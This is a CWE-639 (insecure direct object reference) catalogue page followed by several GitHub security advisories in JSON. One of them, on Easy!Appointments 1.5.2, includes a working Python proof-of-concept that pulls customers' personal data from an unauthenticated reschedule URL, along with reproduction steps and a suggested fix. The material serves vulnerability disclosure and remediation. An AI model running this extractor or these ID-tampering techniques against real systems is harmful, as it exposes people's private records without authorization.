CWE-639
Weakness AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.
For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user.
One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Notes
Maintenance
As of CWE 4.20, the relationship between IDOR and BOLA needs to be investigated more closely, including research into how these terms are used in the industry. The CWE team suspects that IDOR can be a part of BOLA, but BOLA expands on the weakness inherent to IDOR in that it is not only about objects that are being directly referenced.
Content history
Suggested corrections to use of IDOR versus BOLA
updated Common_Consequences, Relationships, Type
updated Description
updated Relationships
updated Relationships
updated Common_Consequences
updated Relationships
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
updated Common_Consequences, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences
updated Relationships
updated Relationships
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms
updated Relationships
updated Alternate_Terms
updated Relationships
updated Detection_Factors, Relationships
updated Mapping_Notes
updated Observed_Examples
updated Demonstrative_Examples
updated References, Relationships, Weakness_Ordinalities
updated Alternate_Terms, Maintenance_Notes, References
updated Description, Modes_of_Introduction, Time_of_Introduction
5668 vulnerabilities reference this CWE, most recent first.
GHSA-XFP3-MM6F-4FW4
Vulnerability from github – Published: 2024-07-17 18:31 – Updated: 2024-11-07 18:31NATO NCI ANET 3.4.1 mishandles report ownership. A user can create a report and, despite the restrictions imposed by the UI, change the author of that report to an arbitrary user (without their consent or knowledge) via a modified UUID in a POST request.
{
"affected": [],
"aliases": [
"CVE-2024-38446"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-17T17:15:15Z",
"severity": "MODERATE"
},
"details": "NATO NCI ANET 3.4.1 mishandles report ownership. A user can create a report and, despite the restrictions imposed by the UI, change the author of that report to an arbitrary user (without their consent or knowledge) via a modified UUID in a POST request.",
"id": "GHSA-xfp3-mm6f-4fw4",
"modified": "2024-11-07T18:31:21Z",
"published": "2024-07-17T18:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38446"
},
{
"type": "WEB",
"url": "https://www.linkedin.com/pulse/idors-ncia-anet-v341-visionspace-technologies-hepxe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XFPX-85JF-269F
Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 00:31Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Fleur fleur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fleur: from n/a through <= 2.0.
{
"affected": [],
"aliases": [
"CVE-2026-22398"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T17:16:33Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Fleur fleur allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fleur: from n/a through \u003c= 2.0.",
"id": "GHSA-xfpx-85jf-269f",
"modified": "2026-01-27T00:31:12Z",
"published": "2026-01-22T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22398"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/fleur/vulnerability/wordpress-fleur-theme-2-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XFXJ-MH7V-H4RR
Vulnerability from github – Published: 2026-01-08 15:31 – Updated: 2026-01-08 15:31Asseco ADMX system is used for processing medical records. It allows logged in users to access medical files belonging to other users through manipulation of GET arguments containing document IDs. This issue has been fixed in 6.09.01.62 version of ADMX.
{
"affected": [],
"aliases": [
"CVE-2025-4596"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T15:15:43Z",
"severity": "MODERATE"
},
"details": "Asseco ADMX system is used for processing medical records. It allows logged in users to access medical files belonging to other users through manipulation of GET arguments containing document IDs.\nThis issue has been fixed in 6.09.01.62 version of ADMX.",
"id": "GHSA-xfxj-mh7v-h4rr",
"modified": "2026-01-08T15:31:25Z",
"published": "2026-01-08T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4596"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/01/CVE-2025-4596"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XG4M-CXJW-R2GH
Vulnerability from github – Published: 2026-10-05 21:31 – Updated: 2026-10-05 21:31Authorization Bypass Through User-Controlled Key vulnerability in CozyThemes Cozy Blocks cozy-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cozy Blocks: from n/a through 2.2.23.
{
"affected": [],
"aliases": [
"CVE-2026-97070"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-05T19:17:26Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in CozyThemes Cozy Blocks cozy-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cozy Blocks: from n/a through 2.2.23.",
"id": "GHSA-xg4m-cxjw-r2gh",
"modified": "2026-10-05T21:31:35Z",
"published": "2026-10-05T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97070"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cozy-addons/vulnerability/wordpress-cozy-blocks-plugin-2-2-23-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XG73-6F4X-27X7
Vulnerability from github – Published: 2026-10-14 21:33 – Updated: 2026-10-14 21:33AstronRPA through 1.1.6 contains an insecure direct object reference vulnerability in the resource-service /file/download endpoint that allows authenticated users to download other tenants' files by supplying their fileId. Attackers can enumerate predictable time-ordered Snowflake file IDs, since FileMapper.getFile performs no owner or tenant check, to retrieve S3-stored files uploaded by other tenants.
{
"affected": [],
"aliases": [
"CVE-2026-110764"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-14T19:17:12Z",
"severity": "MODERATE"
},
"details": "AstronRPA through 1.1.6 contains an insecure direct object reference vulnerability in the resource-service /file/download endpoint that allows authenticated users to download other tenants\u0027 files by supplying their fileId. Attackers can enumerate predictable time-ordered Snowflake file IDs, since FileMapper.getFile performs no owner or tenant check, to retrieve S3-stored files uploaded by other tenants.",
"id": "GHSA-xg73-6f4x-27x7",
"modified": "2026-10-14T21:33:42Z",
"published": "2026-10-14T21:33:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110764"
},
{
"type": "WEB",
"url": "https://github.com/iflytek/astron-rpa"
},
{
"type": "WEB",
"url": "https://github.com/iflytek/astron-rpa/blob/b66e7c9e445906583c161bc9925432d6d39ca001/backend/resource-service/src/main/java/com/iflytek/rpa/resource/file/dao/FileMapper.java#L18"
},
{
"type": "WEB",
"url": "https://hackmd.io/@hieuPenguinnn/iflytek-astron-rpa-file-download-cross-tenant-idor"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/astronrpa-through-1.1.6-cross-tenant-file-disclosure-via-file-download"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XG85-J7XM-GQC8
Vulnerability from github – Published: 2026-08-06 18:30 – Updated: 2026-08-06 18:30Authorization bypass in the Line, LineTranscription, VirtualCollection, tag and process API endpoints in Scripta/eScriptorium through 26.04.1 allows a remote authenticated user to read, modify and delete other users' transcription content via primary keys supplied in the request body, which are queried against the global model manager instead of the request-scoped queryset
{
"affected": [],
"aliases": [
"CVE-2026-18258"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T16:16:37Z",
"severity": "HIGH"
},
"details": "Authorization bypass in the Line, LineTranscription, VirtualCollection, tag and process API endpoints in Scripta/eScriptorium through 26.04.1 allows a remote authenticated user to read, modify and delete other users\u0027 transcription content via primary keys supplied in the request body, which are queried against the global model manager instead of the request-scoped queryset",
"id": "GHSA-xg85-j7xm-gqc8",
"modified": "2026-08-06T18:30:47Z",
"published": "2026-08-06T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18258"
},
{
"type": "WEB",
"url": "https://gitlab.com/scripta/escriptorium/-/work_items/1226"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGF4-G8FR-FCV9
Vulnerability from github – Published: 2026-01-08 18:30 – Updated: 2026-04-01 18:36Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.
{
"affected": [],
"aliases": [
"CVE-2026-22489"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T17:15:51Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.",
"id": "GHSA-xgf4-g8fr-fcv9",
"modified": "2026-04-01T18:36:31Z",
"published": "2026-01-08T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22489"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/image-slider-slideshow/vulnerability/wordpress-image-slider-slideshow-plugin-1-8-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGFJ-4539-7QH6
Vulnerability from github – Published: 2026-10-16 18:34 – Updated: 2026-10-16 18:34APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams' services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams' services and applications via /api/v1/service/info and /api/v1/app endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-111680"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-16T18:17:50Z",
"severity": "HIGH"
},
"details": "APIPark through 1.9.7-beta contains an authorization bypass vulnerability that allows authenticated team managers to access other teams\u0027 services and applications by supplying their own team id in the team query parameter. Attackers can target service or app ids exposed by /api/v1/simple/services and /api/v1/simple/apps to read, modify, or delete other teams\u0027 services and applications via /api/v1/service/info and /api/v1/app endpoints.",
"id": "GHSA-xgfj-4539-7qh6",
"modified": "2026-10-16T18:34:50Z",
"published": "2026-10-16T18:34:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111680"
},
{
"type": "WEB",
"url": "https://github.com/APIParkLab/APIPark"
},
{
"type": "WEB",
"url": "https://github.com/APIParkLab/APIPark/blob/v1.9.7-beta/module/permit/team/iml.go#L70-L78"
},
{
"type": "WEB",
"url": "https://github.com/APIParkLab/APIPark/blob/v1.9.7-beta/plugins/core/service.go#L16-L40"
},
{
"type": "WEB",
"url": "https://hackmd.io/@hieuPenguinnn/apipark-cross-team-service-app-authz-bypass"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/apipark-through-1.9.7-beta-cross-team-authorization-bypass-via-team-query-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XGR6-PQJV-3PF8
Vulnerability from github – Published: 2026-07-29 16:28 – Updated: 2026-07-29 16:28Summary
The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.
Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.
Details
Root cause
application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.
// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash'); // line 184
if (!empty($appointment_hash)) {
$manage_mode = true;
$results = $this->appointments_model->get(['hash' => $appointment_hash]);
// ...
$appointment = $results[0];
$provider = $this->providers_model->find($appointment['id_users_provider']);
$customer = $this->customers_model->find($appointment['id_users_customer']); // ← full row, no projection
$customer_token = md5(uniqid(mt_rand(), true));
$this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}
script_vars([
// ...
'customer_data' => $customer, // ← all PII inlined in HTML
'customer_token' => $customer_token,
]);
The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.
Source-to-Sink
- Source: HTTP GET to
/index.php/booking/reschedule/{appointment_hash}— unauthenticated; hash read viahtml_vars('appointment_hash')(Booking.php:184). - Intermediate:
appointments_model->get(['hash' => $hash])→ row fetched;customers_model->find($appointment['id_users_customer'])returns the full customers row. - Sink:
script_vars(['customer_data' => $customer, ...])(Booking.php:254-270) emits inlineconst vars = {..., "customer_data": {...}, ...}JavaScript in the response HTML.
Fields disclosed
Confirmed in PoC output (canary values used as markers):
customer_data: {
"id": 4,
"first_name": "Victim",
"last_name": "Tester",
"email": "victim.disclosure@example.invalid",
"phone_number": "+1-555-0100",
"address": "100 Privacy Lane",
"city": "Sensitiveville",
"zip_code": "00001",
"timezone": "UTC",
"language": "english",
"custom_field_1": "CFLD1-CANARY",
"is_private": "0",
"ldap_dn": null,
"id_roles": 3
}
Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.
Proof of Concept
#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests
PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
"zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
"custom_field_4","custom_field_5","ldap_dn"]
def exploit(target, hash_):
url = f"{target}/index.php/booking/reschedule/{hash_}"
r = requests.get(url, timeout=15); r.raise_for_status()
m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
ea = json.loads(m.group(1))
customer = ea.get("customer_data") or {}
leaked = 0
for f in PII_FIELDS:
if customer.get(f) not in (None, "", 0):
print(f" {f:18s} = {customer[f]!r}"); leaked += 1
print(f"[+] disclosed {leaked} PII fields without auth")
return leaked
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("--target", default="http://localhost:8000")
p.add_argument("--hash", required=True)
a = p.parse_args()
sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)
Reproduction
- Bring up the lab from the project's official
docker-compose.yml(pinned to v1.5.2). Complete the one-time install at/index.php/installation(orphp index.php console installfrom the php-fpm container). - Book one appointment through the public flow (the bundled
--seedhelper does this automatically and prints the resulting hash). - Run the unauthenticated extractor:
python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH> - Observed output (verified 5/5 consecutive runs):
email = 'victim.disclosure@example.invalid' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.
The PoC and its docker-compose reproduction environment are attached.
Impact
A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.
For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).
A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.
Workarounds
Operators can mitigate temporarily by:
1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead.
2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.
Neither workaround removes the root cause; an attacker who already holds a hash can still extract.
Suggested fix
Whitelist customer fields before inlining. The reschedule UI only needs first/last name:
--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
$appointment = $results[0];
$provider = $this->providers_model->find($appointment['id_users_provider']);
- $customer = $this->customers_model->find($appointment['id_users_customer']);
+ $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+ $customer = [
+ 'id' => $customer_record['id'],
+ 'first_name' => $customer_record['first_name'],
+ 'last_name' => $customer_record['last_name'],
+ ];
$customer_token = md5(uniqid(mt_rand(), true));
The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.
Credits
- Discovered through source-code audit by peoplstar
References
application/controllers/Booking.phplines 184-270 (v1.5.2)application/models/Customers_model.php::find— returns the full row, no projectionapplication/config/config.phpcsrf_exclude_uris— whitelistingbooking/.*- Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.
docker-compose.yml easyapp_pii_disclosure.py requirements.txt consistency_test.txt leaked_customer_data.txt
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52837"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:28:23Z",
"nvd_published_at": "2026-07-14T15:17:04Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` \u2014 which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links \u2014 can read every column of that customer\u0027s row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` \u2014 which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars(\u0027appointment_hash\u0027); // line 184\nif (!empty($appointment_hash)) {\n $manage_mode = true;\n $results = $this-\u003eappointments_model-\u003eget([\u0027hash\u0027 =\u003e $appointment_hash]);\n // ...\n $appointment = $results[0];\n $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]); // \u2190 full row, no projection\n $customer_token = md5(uniqid(mt_rand(), true));\n $this-\u003ecache-\u003esave(\u0027customer-token-\u0027 . $customer_token, $customer[\u0027id\u0027], 600);\n}\n\nscript_vars([\n // ...\n \u0027customer_data\u0027 =\u003e $customer, // \u2190 all PII inlined in HTML\n \u0027customer_token\u0027 =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design \u2014 that\u0027s the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` \u2014 unauthenticated; hash read via `html_vars(\u0027appointment_hash\u0027)` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget([\u0027hash\u0027 =\u003e $hash])` \u2192 row fetched; `customers_model-\u003efind($appointment[\u0027id_users_customer\u0027])` returns the full customers row.\n- **Sink**: `script_vars([\u0027customer_data\u0027 =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n \"id\": 4,\n \"first_name\": \"Victim\",\n \"last_name\": \"Tester\",\n \"email\": \"victim.disclosure@example.invalid\",\n \"phone_number\": \"+1-555-0100\",\n \"address\": \"100 Privacy Lane\",\n \"city\": \"Sensitiveville\",\n \"zip_code\": \"00001\",\n \"timezone\": \"UTC\",\n \"language\": \"english\",\n \"custom_field_1\": \"CFLD1-CANARY\",\n \"is_private\": \"0\",\n \"ldap_dn\": null,\n \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`\u2013`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py \u2014 exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n r = requests.get(url, timeout=15); r.raise_for_status()\n m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n ea = json.loads(m.group(1))\n customer = ea.get(\"customer_data\") or {}\n leaked = 0\n for f in PII_FIELDS:\n if customer.get(f) not in (None, \"\", 0):\n print(f\" {f:18s} = {customer[f]!r}\"); leaked += 1\n print(f\"[+] disclosed {leaked} PII fields without auth\")\n return leaked\n\nif __name__ == \"__main__\":\n p = argparse.ArgumentParser()\n p.add_argument(\"--target\", default=\"http://localhost:8000\")\n p.add_argument(\"--hash\", required=True)\n a = p.parse_args()\n sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project\u0027s official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n ```\n python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n ```\n4. Observed output (verified 5/5 consecutive runs):\n ```\n email = \u0027victim.disclosure@example.invalid\u0027\n phone_number = \u0027+1-555-0100\u0027\n address = \u0027100 Privacy Lane\u0027\n city = \u0027Sensitiveville\u0027\n zip_code = \u002700001\u0027\n custom_field_1 = \u0027CFLD1-CANARY\u0027\n [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer\u0027s full record. The `appointment_hash` is not a secret to the customer \u2014 it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information \u2014 GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token \u2014 escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n $appointment = $results[0];\n $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n- $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+ $customer_record = 